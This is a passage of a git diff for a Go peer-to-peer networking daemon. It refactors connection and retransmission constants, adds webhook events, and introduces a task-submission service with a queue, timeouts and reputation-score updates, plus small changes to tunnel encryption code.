CongWin int // congestion window in bytes + SSThresh int // slow-start threshold + InRecovery bool // true during timeout loss recovery + RecoveryPoint uint32 // highest seq sent when entering recovery + RetxStop chan struct{} // closed to stop retx goroutine + RetxSend func(*protocol.Packet) // callback to send retransmitted packets + WindowCh chan struct{} // signaled when window opens up + PeerRecvWin int // peer's advertised receive window (0 = unknown/unlimited) // Nagle algorithm (write coalescing) - NagleBuf []byte // pending small write data - NagleMu sync.Mutex // protects NagleBuf - NagleCh chan struct{} // signaled when Nagle should flush - NoDelay bool // if true, disable Nagle (send immediately) + NagleBuf []byte // pending small write data + NagleMu sync.Mutex // protects NagleBuf + NagleCh chan struct{} // signaled when Nagle should flush + NoDelay bool // if true, disable Nagle (send immediately) // Receive window (reassembly) RecvMu sync.Mutex - ExpectedSeq uint32 // next in-order seq expected - OOOBuf []*recvSegment // out-of-order buffer + ExpectedSeq uint32 // next in-order seq expected + OOOBuf []*recvSegment // out-of-order buffer // Delayed ACK - AckMu sync.Mutex // protects PendingACKs and ACKTimer - PendingACKs int // count of unacked received segments - ACKTimer *time.Timer // delayed ACK timer + AckMu sync.Mutex // protects PendingACKs and ACKTimer + PendingACKs int // count of unacked received segments + ACKTimer *time.Timer // delayed ACK timer // Close - CloseOnce sync.Once // ensures RecvBuf is closed exactly once - RecvClosed bool // true after RecvBuf is closed (guarded by RecvMu) + CloseOnce sync.Once // ensures RecvBuf is closed exactly once + RecvClosed bool // true after RecvBuf is closed (guarded by RecvMu) // Retransmit state - LastRetxTime time.Time // when last RTO retransmission fired (prevents cascading) + LastRetxTime time.Time // when last RTO retransmission fired (prevents cascading) // Per-connection statistics - Stats ConnStats + Stats ConnStats } // ConnStats tracks per-connection traffic and reliability metrics. type ConnStats struct { - BytesSent uint64 // total user bytes sent - BytesRecv uint64 // total user bytes received - SegsSent uint64 // data segments sent - SegsRecv uint64 // data segments received - Retransmits uint64 // timeout-based retransmissions - FastRetx uint64 // fast retransmissions (3 dup ACKs) - SACKRecv uint64 // SACK blocks received from peer - SACKSent uint64 // SACK blocks sent to peer - DupACKs uint64 // duplicate ACKs received + BytesSent uint64 // total user bytes sent + BytesRecv uint64 // total user bytes received + SegsSent uint64 // data segments sent + SegsRecv uint64 // data segments received + Retransmits uint64 // timeout-based retransmissions + FastRetx uint64 // fast retransmissions (3 dup ACKs) + SACKRecv uint64 // SACK blocks received from peer + SACKSent uint64 // SACK blocks sent to peer + DupACKs uint64 // duplicate ACKs received } type ConnState uint8 const ( - StateClosed ConnState = iota + StateClosed ConnState = iota StateListen StateSynSent StateSynReceived @@ -183,6 +193,29 @@ const ( StateTimeWait ) +func (s ConnState) String() string { + switch s { + case StateClosed: + return "CLOSED" + case StateListen: + return "LISTEN" + case StateSynSent: + return "SYN_SENT" + case StateSynReceived: + return "SYN_RECV" + case StateEstablished: + return "ESTABLISHED" + case StateFinWait: + return "FIN_WAIT" + case StateCloseWait: + return "CLOSE_WAIT" + case StateTimeWait: + return "TIME_WAIT" + default: + return "unknown" + } +} + func NewPortManager() *PortManager { return &PortManager{ listeners: make(map[uint16]*Listener), @@ -202,7 +235,7 @@ func (pm *PortManager) Bind(port uint16) (*Listener, error) { ln := &Listener{ Port: port, - AcceptCh: make(chan *Connection, 64), + AcceptCh: make(chan *Connection, AcceptQueueLen), } pm.listeners[port] = ln return ln, nil @@ -301,7 +334,7 @@ func (pm *PortManager) NewConnection(localPort uint16, remoteAddr protocol.Addr, RemotePort: remotePort, State: StateClosed, LastActivity: time.Now(), - SendBuf: make(chan []byte, 256), + SendBuf: make(chan []byte, SendBufLen), RecvBuf: make(chan []byte, RecvBufSize), CongWin: InitialCongWin, SSThresh: MaxCongWin / 2, @@ -309,6 +342,9 @@ func (pm *PortManager) NewConnection(localPort uint16, remoteAddr protocol.Addr, NagleCh: make(chan struct{}, 1), } pm.nextConnID++ + if pm.nextConnID == 0 { + pm.nextConnID = 1 // wrap around, skip 0 (reserved) + } pm.connections[conn.ID] = conn return conn } @@ -382,32 +418,12 @@ func (pm *PortManager) ConnectionList() []ConnectionInfo { stats := c.Stats c.Mu.Unlock() - stateStr := "unknown" - switch st { - case StateClosed: - stateStr = "CLOSED" - case StateListen: - stateStr = "LISTEN" - case StateSynSent: - stateStr = "SYN_SENT" - case StateSynReceived: - stateStr = "SYN_RECV" - case StateEstablished: - stateStr = "ESTABLISHED" - case StateFinWait: - stateStr = "FIN_WAIT" - case StateCloseWait: - stateStr = "CLOSE_WAIT" - case StateTimeWait: - stateStr = "TIME_WAIT" - } - list = append(list, ConnectionInfo{ ID: c.ID, LocalPort: c.LocalPort, RemoteAddr: c.RemoteAddr.String(), RemotePort: c.RemotePort, - State: stateStr, + State: st.String(), SendSeq: sendSeq, RecvAck: recvAck, CongWin: congWin, @@ -701,16 +717,16 @@ func (c *Connection) updateRTT(rtt time.Duration) { } // RTO = SRTT + max(G, K·RTTVAR) where K=4, G=clock granularity kvar := c.RTTVAR * 4 - if kvar < 10*time.Millisecond { - kvar = 10 * time.Millisecond // clock granularity floor + if kvar < ClockGranularity { + kvar = ClockGranularity } c.RTO = c.SRTT + kvar // Clamp RTO - if c.RTO < 200*time.Millisecond { - c.RTO = 200 * time.Millisecond + if c.RTO < RTOMin { + c.RTO = RTOMin } - if c.RTO > 10*time.Second { - c.RTO = 10 * time.Second + if c.RTO > RTOMax { + c.RTO = RTOMax } } diff --git a/pkg/daemon/services.go b/pkg/daemon/services.go index 04721baa..7591a13d 100644 --- a/pkg/daemon/services.go +++ b/pkg/daemon/services.go @@ -8,12 +8,15 @@ import ( "net" "os" "path/filepath" + "strings" "sync" "time" - "web4/pkg/dataexchange" - "web4/pkg/eventstream" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/dataexchange" + "github.com/TeoSlayer/pilotprotocol/pkg/eventstream" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/registry" + "github.com/TeoSlayer/pilotprotocol/pkg/tasksubmit" ) // connAdapter wraps a daemon *Connection as a net.Conn so that existing @@ -79,8 +82,8 @@ func (p pilotAddr) String() string { } func (a *connAdapter) SetDeadline(t time.Time) error { return nil } -func (a *connAdapter) SetReadDeadline(t time.Time) error { return nil } -func (a *connAdapter) SetWriteDeadline(t time.Time) error { return nil } +func (a *connAdapter) SetReadDeadline(t time.Time) error { return nil } +func (a *connAdapter) SetWriteDeadline(t time.Time) error { return nil } // startBuiltinServices starts all enabled built-in port services. func (d *Daemon) startBuiltinServices() { @@ -99,6 +102,11 @@ func (d *Daemon) startBuiltinServices() { slog.Warn("eventstream service failed to start", "error", err) } } + if !d.config.DisableTaskSubmit { + if err := d.startTaskSubmitService(); err != nil { + slog.Warn("tasksubmit service failed to start", "error", err) + } + } } // startEchoService binds port 7 and echoes back all received data. @@ -223,6 +231,9 @@ func (d *Daemon) saveReceivedFile(frame *dataexchange.Frame) error { return fmt.Errorf("write: %w", err) } slog.Info("file saved", "path", destPath, "bytes", len(frame.Payload)) + d.webhook.Emit("file.received", map[string]interface{}{ + "filename": safeName, "size": len(frame.Payload), "path": destPath, + }) return nil } @@ -258,6 +269,10 @@ func (d *Daemon) saveInboxMessage(frame *dataexchange.Frame, from protocol.Addr) return fmt.Errorf("write: %w", err) } slog.Info("inbox message saved", "path", destPath, "type", dataexchange.TypeName(frame.Type), "bytes", len(frame.Payload)) + d.webhook.Emit("message.received", map[string]interface{}{ + "type": dataexchange.TypeName(frame.Type), "from": from.String(), + "size": len(frame.Payload), + }) return nil } @@ -268,7 +283,8 @@ func (d *Daemon) startEventStreamService() error { return err } broker := &eventBroker{ - subs: make(map[string][]*connAdapter), + subs: make(map[string][]*connAdapter), + webhook: d.webhook, } go func() { for { @@ -290,14 +306,21 @@ func (d *Daemon) startEventStreamService() error { // eventBroker is an in-process pub/sub broker for the event stream service. type eventBroker struct { - mu sync.RWMutex - subs map[string][]*connAdapter // topic → subscribers + mu sync.RWMutex + subs map[string][]*connAdapter // topic → subscribers + webhook *WebhookClient } func (b *eventBroker) handleConn(adapter *connAdapter) { + var topic string defer func() { b.removeSub(adapter) adapter.Close() + if topic != "" { + b.webhook.Emit("pubsub.unsubscribed", map[string]interface{}{ + "topic": topic, "remote": adapter.RemoteAddr().String(), + }) + } }() // First event = subscription @@ -305,9 +328,12 @@ func (b *eventBroker) handleConn(adapter *connAdapter) { if err != nil { return } - topic := subEvt.Topic + topic = subEvt.Topic b.addSub(topic, adapter) slog.Debug("eventstream subscription", "remote", adapter.RemoteAddr(), "topic", topic) + b.webhook.Emit("pubsub.subscribed", map[string]interface{}{ + "topic": topic, "remote": adapter.RemoteAddr().String(), + }) // Remaining events = publish for { @@ -369,4 +395,720 @@ func (b *eventBroker) publish(evt *eventstream.Event, sender *connAdapter) { b.removeSub(conn) } slog.Debug("eventstream published", "topic", evt.Topic, "bytes", len(evt.Payload), "from", sender.RemoteAddr()) + b.webhook.Emit("pubsub.published", map[string]interface{}{ + "topic": evt.Topic, "size": len(evt.Payload), "from": sender.RemoteAddr().String(), + }) +} + +// ===================== TASK SUBMISSION SERVICE ===================== + +// TaskQueue manages pending task submissions using a FIFO queue. +type TaskQueue struct { + mu sync.Mutex + taskIDs []string // FIFO queue of task IDs (only accepted tasks) + headStagedAt map[string]string // Track when each task became head of queue (RFC3339) +} + +// NewTaskQueue creates a new task queue. +func NewTaskQueue() *TaskQueue { + return &TaskQueue{ + taskIDs: make([]string, 0), + headStagedAt: make(map[string]string), + } +} + +// Add adds a task ID to the queue. If this is the first task, mark it as head. +func (q *TaskQueue) Add(taskID string) { + q.mu.Lock() + defer q.mu.Unlock() + wasEmpty := len(q.taskIDs) == 0 + q.taskIDs = append(q.taskIDs, taskID) + if wasEmpty { + // First task becomes head immediately + q.headStagedAt[taskID] = time.Now().UTC().Format(time.RFC3339) + } +} + +// Pop removes and returns the next task ID from the queue, or empty string if empty. +// Also updates the head timestamp for the new head if one exists. +func (q *TaskQueue) Pop() string { + q.mu.Lock() + defer q.mu.Unlock() + if len(q.taskIDs) == 0 { + return "" + } + taskID := q.taskIDs[0] + delete(q.headStagedAt, taskID) // Remove old head's timestamp + q.taskIDs = q.taskIDs[1:] + // Mark new head with staged timestamp + if len(q.taskIDs) > 0 { + newHead := q.taskIDs[0] + if _, exists := q.headStagedAt[newHead]; !exists { + q.headStagedAt[newHead] = time.Now().UTC().Format(time.RFC3339) + } + } + return taskID +} + +// Remove removes a specific task ID from the queue (used for expiry/cancellation). +func (q *TaskQueue) Remove(taskID string) bool { + q.mu.Lock() + defer q.mu.Unlock() + for i, id := range q.taskIDs { + if id == taskID { + wasHead := i == 0 + delete(q.headStagedAt, taskID) + q.taskIDs = append(q.taskIDs[:i], q.taskIDs[i+1:]...) + // If we removed the head, mark new head with staged timestamp + if wasHead && len(q.taskIDs) > 0 { + newHead := q.taskIDs[0] + if _, exists := q.headStagedAt[newHead]; !exists { + q.headStagedAt[newHead] = time.Now().UTC().Format(time.RFC3339) + } + } + return true + } + } + return false +} + +// Peek returns the first task ID without removing it, or empty string if empty. +func (q *TaskQueue) Peek() string { + q.mu.Lock() + defer q.mu.Unlock() + if len(q.taskIDs) == 0 { + return "" + } + return q.taskIDs[0] +} + +// GetHeadStagedAt returns when the head task became head of queue (RFC3339 timestamp). +func (q *TaskQueue) GetHeadStagedAt() string { + q.mu.Lock() + defer q.mu.Unlock() + if len(q.taskIDs) == 0 { + return "" + } + return q.headStagedAt[q.taskIDs[0]] +} + +// GetStagedAt returns when a specific task became head of queue. +func (q *TaskQueue) GetStagedAt(taskID string) string { + q.mu.Lock() + defer q.mu.Unlock() + return q.headStagedAt[taskID] +} + +// Len returns the number of tasks in the queue. +func (q *TaskQueue) Len() int { + q.mu.Lock() + defer q.mu.Unlock() + return len(q.taskIDs) +} + +// List returns all task IDs in the queue. +func (q *TaskQueue) List() []string { + q.mu.Lock() + defer q.mu.Unlock() + result := make([]string, len(q.taskIDs)) + copy(result, q.taskIDs) + return result +} + +// Global queue instance for pilotctl to use +var globalTaskQueue = NewTaskQueue() + +// RemoveFromQueue is a package-level function to remove a task from the global queue. +// This is used by pilotctl commands. +func RemoveFromQueue(taskID string) bool { + return globalTaskQueue.Remove(taskID) +} + +// GetQueueStagedAt returns when a task became head of the global queue. +func GetQueueStagedAt(taskID string) string { + return globalTaskQueue.GetStagedAt(taskID) +} + +// getTasksDir returns the path to ~/.pilot/tasks directory. +func getTasksDir() (string, error) { + home, err := os.UserHomeDir() + if err != nil { + return "", err + } + return filepath.Join(home, ".pilot", "tasks"), nil +} + +// ensureTaskDirs creates the tasks/submitted and tasks/received directories. +func ensureTaskDirs() error { + tasksDir, err := getTasksDir() + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Join(tasksDir, "submitted"), 0700); err != nil { + return err + } + if err := os.MkdirAll(filepath.Join(tasksDir, "received"), 0700); err != nil { + return err + } + return nil +} + +// SaveTaskFile saves a task file to the appropriate directory. +func SaveTaskFile(tf *tasksubmit.TaskFile, isSubmitter bool) error { + if err := ensureTaskDirs(); err != nil { + return err + } + tasksDir, err := getTasksDir() + if err != nil { + return err + } + + subdir := "received" + if isSubmitter { + subdir = "submitted" + } + + data, err := tasksubmit.MarshalTaskFile(tf) + if err != nil { + return err + } + + filename := filepath.Join(tasksDir, subdir, tf.TaskID+".json") + return os.WriteFile(filename, data, 0600) +} + +// LoadTaskFile loads a task file from the received directory. +func LoadTaskFile(taskID string) (*tasksubmit.TaskFile, error) { + tasksDir, err := getTasksDir() + if err != nil { + return nil, err + } + + filename := filepath.Join(tasksDir, "received", taskID+".json") + data, err := os.ReadFile(filename) + if err != nil { + return nil, err + } + + return tasksubmit.UnmarshalTaskFile(data) +} + +// LoadSubmittedTaskFile loads a task file from the submitted directory. +func LoadSubmittedTaskFile(taskID string) (*tasksubmit.TaskFile, error) { + tasksDir, err := getTasksDir() + if err != nil { + return nil, err + } + + filename := filepath.Join(tasksDir, "submitted", taskID+".json") + data, err := os.ReadFile(filename) + if err != nil { + return nil, err + } + + return tasksubmit.UnmarshalTaskFile(data) +} + +// UpdateTaskStatus updates the status of a task file. +func UpdateTaskStatus(taskID, status, justification string, isSubmitter bool) error { + tasksDir, err := getTasksDir() + if err != nil { + return err + } + + subdir := "received" + if isSubmitter { + subdir = "submitted" + } + + filename := filepath.Join(tasksDir, subdir, taskID+".json") + data, err := os.ReadFile(filename) + if err != nil { + return err + } + + tf, err := tasksubmit.UnmarshalTaskFile(data) + if err != nil { + return err + } + + tf.Status = status + tf.StatusJustification = justification + + newData, err := tasksubmit.MarshalTaskFile(tf) + if err != nil { + return err + } + + return os.WriteFile(filename, newData, 0600) +} + +// UpdateTaskFileWithTimes updates a task file with time metadata calculations. +// action can be: "accept", "decline", "execute", "complete", "cancel", "expire" +func UpdateTaskFileWithTimes(taskID, status, justification, action string, isSubmitter bool, stagedAt string) error { + tasksDir, err := getTasksDir() + if err != nil { + return err + } + + subdir := "received" + if isSubmitter { + subdir = "submitted" + } + + filename := filepath.Join(tasksDir, subdir, taskID+".json") + data, err := os.ReadFile(filename) + if err != nil { + return err + } + + tf, err := tasksubmit.UnmarshalTaskFile(data) + if err != nil { + return err + } + + tf.Status = status + tf.StatusJustification = justification + + switch action { + case "accept", "decline", "cancel": + // Calculate time_idle (from creation to now) + tf.CalculateTimeIdle() + case "execute": + // Set staged time and calculate time_staged + if stagedAt != "" { + tf.StagedAt = stagedAt + } + tf.CalculateTimeStaged() + case "complete": + // Calculate time_cpu (from execute start to now) + tf.CalculateTimeCpu() + case "expire": + // Set staged time if provided + if stagedAt != "" { + tf.StagedAt = stagedAt + } + // Calculate time_staged (from staged to now) + tf.CalculateTimeStaged() + } + + newData, err := tasksubmit.MarshalTaskFile(tf) + if err != nil { + return err + } + + return os.WriteFile(filename, newData, 0600) +} + +// CancelTaskBothSides cancels a task on both the submitter and receiver sides. +func CancelTaskBothSides(taskID string) error { + errReceiver := UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusCancelled, + "Task cancelled: no response within 1 minute", "cancel", false, "") + errSubmitter := UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusCancelled, + "Task cancelled: no response within 1 minute", "cancel", true, "") + + if errReceiver != nil && errSubmitter != nil { + return fmt.Errorf("receiver: %v, submitter: %v", errReceiver, errSubmitter) + } + if errReceiver != nil { + return errReceiver + } + return errSubmitter +} + +// ExpireTaskBothSides expires a task on both sides and decrements receiver's polo score. +func ExpireTaskBothSides(taskID, stagedAt string, regConn *registry.Client, receiverNodeID uint32) error { + // Update receiver's task file to EXPIRED + errReceiver := UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusExpired, + "Task expired: at head of queue for over 1 hour", "expire", false, stagedAt) + + // Update submitter's task file to EXPIRED + errSubmitter := UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusExpired, + "Task expired: receiver did not execute within 1 hour", "expire", true, stagedAt) + + // Decrement receiver's polo score by 1 + if regConn != nil { + if _, err := regConn.UpdatePoloScore(receiverNodeID, -1); err != nil { + slog.Warn("failed to decrement polo score on task expiry", "node_id", receiverNodeID, "error", err) + } + } + + if errReceiver != nil { + return errReceiver + } + return errSubmitter +} + +// startTaskSubmitService binds port 1003 and handles task submissions. +func (d *Daemon) startTaskSubmitService() error { + ln, err := d.ports.Bind(protocol.PortTaskSubmit) + if err != nil { + return err + } + go func() { + for { + select { + case conn, ok := <-ln.AcceptCh: + if !ok { + return + } + go d.handleTaskSubmitConn(conn) + case <-d.stopCh: + return + } + } + }() + + // Start task monitoring goroutines + go d.monitorNewTasksForCancellation() + go d.monitorQueueHeadForExpiry() + + slog.Info("tasksubmit service listening", "port", protocol.PortTaskSubmit) + return nil +} + +// monitorNewTasksForCancellation checks for NEW tasks that haven't been accepted/declined within 1 minute. +func (d *Daemon) monitorNewTasksForCancellation() { + ticker := time.NewTicker(10 * time.Second) // Check every 10 seconds + defer ticker.Stop() + + for { + select { + case <-ticker.C: + d.checkAndCancelExpiredNewTasks() + case <-d.stopCh: + return + } + } +} + +// checkAndCancelExpiredNewTasks scans received tasks for NEW tasks past the accept timeout. +func (d *Daemon) checkAndCancelExpiredNewTasks() { + tasksDir, err := getTasksDir() + if err != nil { + return + } + + receivedDir := filepath.Join(tasksDir, "received") + entries, err := os.ReadDir(receivedDir) + if err != nil { + return + } + + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") { + continue + } + data, err := os.ReadFile(filepath.Join(receivedDir, entry.Name())) + if err != nil { + continue + } + tf, err := tasksubmit.UnmarshalTaskFile(data) + if err != nil { + continue + } + + if tf.IsExpiredForAccept() { + slog.Info("tasksubmit: cancelling task due to accept timeout", + "task_id", tf.TaskID, + "created_at", tf.CreatedAt, + ) + // Remove from queue if present + d.taskQueue.Remove(tf.TaskID) + // Cancel on both sides + if err := CancelTaskBothSides(tf.TaskID); err != nil { + slog.Warn("tasksubmit: failed to cancel task", "task_id", tf.TaskID, "error", err) + } + } + } +} + +// monitorQueueHeadForExpiry checks if the head of queue has been there for over 1 hour. +func (d *Daemon) monitorQueueHeadForExpiry() { + ticker := time.NewTicker(30 * time.Second) // Check every 30 seconds + defer ticker.Stop() + + for { + select { + case <-ticker.C: + d.checkAndExpireQueueHead() + case <-d.stopCh: + return + } + } +} + +// checkAndExpireQueueHead checks if the head task has been staged for over 1 hour. +func (d *Daemon) checkAndExpireQueueHead() { + headTaskID := d.taskQueue.Peek() + if headTaskID == "" { + return + } + + stagedAt := d.taskQueue.GetStagedAt(headTaskID) + if stagedAt == "" { + return + } + + stagedTime, err := tasksubmit.ParseTime(stagedAt) + if err != nil { + return + } + + if time.Since(stagedTime) > tasksubmit.TaskQueueHeadTimeout { + slog.Info("tasksubmit: expiring task due to queue head timeout", + "task_id", headTaskID, + "staged_at", stagedAt, + ) + // Remove from queue + d.taskQueue.Remove(headTaskID) + // Expire on both sides and decrement receiver's polo score + if err := ExpireTaskBothSides(headTaskID, stagedAt, d.regConn, d.nodeID); err != nil { + slog.Warn("tasksubmit: failed to expire task", "task_id", headTaskID, "error", err) + } + } +} + +func (d *Daemon) handleTaskSubmitConn(conn *Connection) { + adapter := newConnAdapter(d, conn) + defer adapter.Close() + + // Read frame + frame, err := tasksubmit.ReadFrame(adapter) + if err != nil { + slog.Warn("tasksubmit: failed to read frame", "error", err) + return + } + + switch frame.Type { + case tasksubmit.TypeSubmit: + d.handleTaskSubmitRequest(adapter, conn, frame) + case tasksubmit.TypeStatusUpdate: + d.handleTaskStatusUpdate(adapter, conn, frame) + case tasksubmit.TypeSendResults: + d.handleTaskResults(adapter, conn, frame) + default: + slog.Warn("tasksubmit: unexpected frame type", "type", frame.Type) + } +} + +func (d *Daemon) handleTaskSubmitRequest(adapter *connAdapter, conn *Connection, frame *tasksubmit.Frame) { + req, err := tasksubmit.UnmarshalSubmitRequest(frame) + if err != nil { + slog.Warn("tasksubmit: failed to unmarshal request", "error", err) + return + } + + slog.Debug("tasksubmit: received task submission", + "task_id", req.TaskID, + "description", req.TaskDescription, + "from", req.FromAddr, + "remote_node", conn.RemoteAddr.Node, + ) + + // Check polo scores: submitter's score must be >= receiver's score + var accepted bool + var message string + + if d.regConn != nil { + submitterScore, err := d.regConn.GetPoloScore(conn.RemoteAddr.Node) + if err != nil { + slog.Warn("tasksubmit: failed to get submitter polo score", "error", err) + accepted = false + message = "Failed to verify polo score" + } else { + receiverScore, err := d.regConn.GetPoloScore(d.nodeID) + if err != nil { + slog.Warn("tasksubmit: failed to get receiver polo score", "error", err) + accepted = false + message = "Failed to verify polo score" + } else { + if submitterScore >= receiverScore { + accepted = true + message = "Task received with status NEW" + } else { + accepted = false + message = fmt.Sprintf("Polo score too low: submitter=%d, receiver=%d", submitterScore, receiverScore) + } + } + } + } else { + // No registry connection — fail closed (cannot verify polo score) + accepted = false + message = "Registry unavailable, cannot verify polo score" + } + + var resp *tasksubmit.SubmitResponse + if accepted { + // Create task file for receiver (received/) + localAddrStr := "" + if info := d.Info(); info != nil { + localAddrStr = info.Address + } + + tf := tasksubmit.NewTaskFile(req.TaskID, req.TaskDescription, req.FromAddr, localAddrStr) + if err := SaveTaskFile(tf, false); err != nil { + slog.Warn("tasksubmit: failed to save task file", "error", err) + } + + // Add task to the execution queue + d.taskQueue.Add(req.TaskID) + + resp = &tasksubmit.SubmitResponse{ + TaskID: req.TaskID, + Status: tasksubmit.StatusAccepted, + Message: message, + } + + slog.Info("tasksubmit: task received", + "task_id", req.TaskID, + "description", req.TaskDescription, + "submitter_node", conn.RemoteAddr.Node, + ) + } else { + resp = &tasksubmit.SubmitResponse{ + TaskID: req.TaskID, + Status: tasksubmit.StatusRejected, + Message: message, + } + } + + // Send response + respFrame, err := tasksubmit.MarshalSubmitResponse(resp) + if err != nil { + slog.Warn("tasksubmit: failed to marshal response", "error", err) + return + } + + if err := tasksubmit.WriteFrame(adapter, respFrame); err != nil { + slog.Warn("tasksubmit: failed to write response", "error", err) + return + } +} + +func (d *Daemon) handleTaskStatusUpdate(adapter *connAdapter, conn *Connection, frame *tasksubmit.Frame) { + update, err := tasksubmit.UnmarshalTaskStatusUpdate(frame) + if err != nil { + slog.Warn("tasksubmit: failed to unmarshal status update", "error", err) + return + } + + slog.Debug("tasksubmit: received status update", + "task_id", update.TaskID, + "status", update.Status, + "justification", update.Justification, + ) + + // Update local task file (in submitted/ directory since this is sent to the submitter) + if err := UpdateTaskStatus(update.TaskID, update.Status, update.Justification, true); err != nil { + slog.Warn("tasksubmit: failed to update task status", "task_id", update.TaskID, "error", err) + } + + slog.Info("tasksubmit: task status updated", + "task_id", update.TaskID, + "status", update.Status, + ) +} + +func (d *Daemon) handleTaskResults(adapter *connAdapter, conn *Connection, frame *tasksubmit.Frame) { + msg, err := tasksubmit.UnmarshalTaskResultMessage(frame) + if err != nil { + slog.Warn("tasksubmit: failed to unmarshal results", "error", err) + return + } + + slog.Debug("tasksubmit: received task results", + "task_id", msg.TaskID, + "result_type", msg.ResultType, + ) + + // Save results + tasksDir, err := getTasksDir() + if err != nil { + slog.Warn("tasksubmit: failed to get tasks dir", "error", err) + return + } + + resultsDir := filepath.Join(tasksDir, "results") + if err := os.MkdirAll(resultsDir, 0700); err != nil { + slog.Warn("tasksubmit: failed to create results dir", "error", err) + return + } + + if msg.ResultType == "file" && len(msg.FileData) > 0 { + // Save file + filename := filepath.Join(resultsDir, msg.TaskID+"_"+msg.Filename) + if err := os.WriteFile(filename, msg.FileData, 0600); err != nil { + slog.Warn("tasksubmit: failed to save result file", "error", err) + return + } + slog.Info("tasksubmit: result file saved", "task_id", msg.TaskID, "filename", filename) + } else { + // Save text results + filename := filepath.Join(resultsDir, msg.TaskID+"_result.txt") + if err := os.WriteFile(filename, []byte(msg.ResultText), 0600); err != nil { + slog.Warn("tasksubmit: failed to save result text", "error", err) + return + } + slog.Info("tasksubmit: result text saved", "task_id", msg.TaskID, "filename", filename) + } + + // Update task status to COMPLETED + if err := UpdateTaskStatus(msg.TaskID, tasksubmit.TaskStatusCompleted, "Task completed with results", true); err != nil { + slog.Warn("tasksubmit: failed to update task status", "task_id", msg.TaskID, "error", err) + } + + // Update polo scores using weighted calculation + if d.regConn != nil { + // Load task to get addresses + tf, err := LoadSubmittedTaskFile(msg.TaskID) + if err != nil { + slog.Warn("tasksubmit: failed to load task for polo update", "error", err) + return + } + + // Update task file with time metadata from the result message + tf.TimeIdleMs = msg.TimeIdleMs + tf.TimeStagedMs = msg.TimeStagedMs + tf.TimeCpuMs = msg.TimeCpuMs + + // Calculate the weighted polo score reward + reward := tf.PoloScoreReward() + breakdown := tf.PoloScoreRewardDetailed() + + slog.Info("tasksubmit: polo score calculation", + "task_id", msg.TaskID, + "time_idle_ms", msg.TimeIdleMs, + "time_staged_ms", msg.TimeStagedMs, + "time_cpu_ms", msg.TimeCpuMs, + "cpu_minutes", breakdown.CpuMinutes, + "base", breakdown.Base, + "cpu_bonus", breakdown.CpuBonus, + "idle_factor", breakdown.IdleFactor, + "staged_factor", breakdown.StagedFactor, + "efficiency", breakdown.EfficiencyMultiplier, + "reward", reward, + ) + + // Parse addresses to get node IDs + fromAddr, err := protocol.ParseAddr(tf.From) + if err == nil { + // Submitter (fromAddr) loses 1 polo score + if _, err := d.regConn.UpdatePoloScore(fromAddr.Node, -1); err != nil { + slog.Warn("tasksubmit: failed to update submitter polo score", "error", err) + } + } + + toAddr, err := protocol.ParseAddr(tf.To) + if err == nil { + // Receiver (toAddr) gains weighted polo score + if reward > 0 { + if _, err := d.regConn.UpdatePoloScore(toAddr.Node, reward); err != nil { + slog.Warn("tasksubmit: failed to update receiver polo score", "error", err) + } + } + } + + slog.Info("tasksubmit: polo scores updated", "task_id", msg.TaskID, "receiver_reward", reward) + } } diff --git a/pkg/daemon/tunnel.go b/pkg/daemon/tunnel.go index 2b564ae9..9b494fdb 100644 --- a/pkg/daemon/tunnel.go +++ b/pkg/daemon/tunnel.go @@ -5,6 +5,7 @@ import ( "crypto/cipher" "crypto/ecdh" "crypto/ed25519" + "crypto/hmac" "crypto/rand" "crypto/sha256" "encoding/binary" @@ -14,9 +15,9 @@ import ( "sync" "sync/atomic" - "web4/internal/crypto" - "web4/internal/pool" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/internal/crypto" + "github.com/TeoSlayer/pilotprotocol/internal/pool" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // replayWindowSize is the number of nonces tracked in the sliding window bitmap @@ -26,20 +27,25 @@ const replayWindowSize = 256 // peerCrypto holds per-peer encryption state. type peerCrypto struct { - aead cipher.AEAD - nonce uint64 // monotonic send counter (atomic) - noncePrefix [4]byte // random prefix for nonce domain separation + aead cipher.AEAD + nonce uint64 // monotonic send counter (atomic) + noncePrefix [4]byte // random prefix for nonce domain separation // Replay detection (H8 fix): sliding window bitmap instead of simple high-water mark. replayMu sync.Mutex - maxRecvNonce uint64 // highest nonce received - replayBitmap [replayWindowSize / 64]uint64 // bitmap for nonces in [max-windowSize, max] - ready bool // true once key exchange is complete - authenticated bool // true if peer proved Ed25519 identity - peerX25519Key [32]byte // peer's X25519 public key (for detecting rekeying) + maxRecvNonce uint64 // highest nonce received + replayBitmap [replayWindowSize / 64]uint64 // bitmap for nonces in [max-windowSize, max] + ready bool // true once key exchange is complete + authenticated bool // true if peer proved Ed25519 identity + peerX25519Key [32]byte // peer's X25519 public key (for detecting rekeying) } // checkAndRecordNonce returns true if the nonce is valid (not replayed, not too old). // Must be called with replayMu held. +// +// Note on nonce wraparound: the counter is uint64, so it wraps after 2^64 packets. +// At 1 billion packets/sec this takes ~585 years — purely theoretical. If a +// connection ever approaches this limit, rekeying (new secure handshake) resets +// the counter naturally. func (pc *peerCrypto) checkAndRecordNonce(counter uint64) bool { if pc.maxRecvNonce == 0 { // First packet ever @@ -90,37 +96,42 @@ func (pc *peerCrypto) setReplayBit(counter uint64) { type TunnelManager struct { mu sync.RWMutex conn *net.UDPConn - peers map[uint32]*net.UDPAddr // node_id → real UDP endpoint - crypto map[uint32]*peerCrypto // node_id → encryption state + peers map[uint32]*net.UDPAddr // node_id → real UDP endpoint + crypto map[uint32]*peerCrypto // node_id → encryption state recvCh chan *IncomingPacket - done chan struct{} // closed on Close() to stop readLoop sends - readWg sync.WaitGroup // tracks readLoop goroutine for clean shutdown + done chan struct{} // closed on Close() to stop readLoop sends + readWg sync.WaitGroup // tracks readLoop goroutine for clean shutdown closeOnce sync.Once // Encryption config - encrypt bool // if true, attempt encrypted tunnels - privKey *ecdh.PrivateKey // our X25519 private key - pubKey []byte // our X25519 public key (32 bytes) - nodeID uint32 // our node ID (set after registration) + encrypt bool // if true, attempt encrypted tunnels + privKey 